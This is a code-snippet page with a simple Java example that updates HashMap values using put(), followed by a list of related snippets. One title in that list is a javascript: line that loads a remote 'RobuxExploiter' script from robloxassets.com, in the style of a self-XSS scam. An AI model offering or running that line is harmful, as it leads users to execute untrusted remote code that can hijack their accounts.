ChangeElementsOfHashMap

// Java program to change
// elements of HashMap
 
import java.io.*;
import java.util.*;
class ChangeElementsOfHashMap {
    public static void main(String args[])
    {
 
        // Initialization of a HashMap
        HashMap<Integer, String> hm
            = new HashMap<Integer, String>();
 
        // Change Value using put method
        hm.put(1, "Geeks");
        hm.put(2, "Geeks");
        hm.put(3, "Geeks");
 
        System.out.println("Initial Map " + hm);
 
        hm.put(2, "For");
 
        System.out.println("Updated Map " + hm);
    }
}

Source: geeksforgeeks.org

Similar codes

0 vote152 views1 answer
Java set label color
Java
2 votes125 views1 answer
Java cartesian to polar
Java
0 vote122 views1 answer
Does JVM create object of Main class (the class with main())?
Java
0 vote84 views1 answer
Creating new objects from loop java
Java
1 vote129 views5 answers
Change status bar color android programmatically
Java
5 votes238 views6 answers
Spring boot tutorial
Java Spring
0 vote126 views1 answer
Read java reader
Java
0 vote110 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Java
1 vote122 views1 answer
Java temp folder property
Java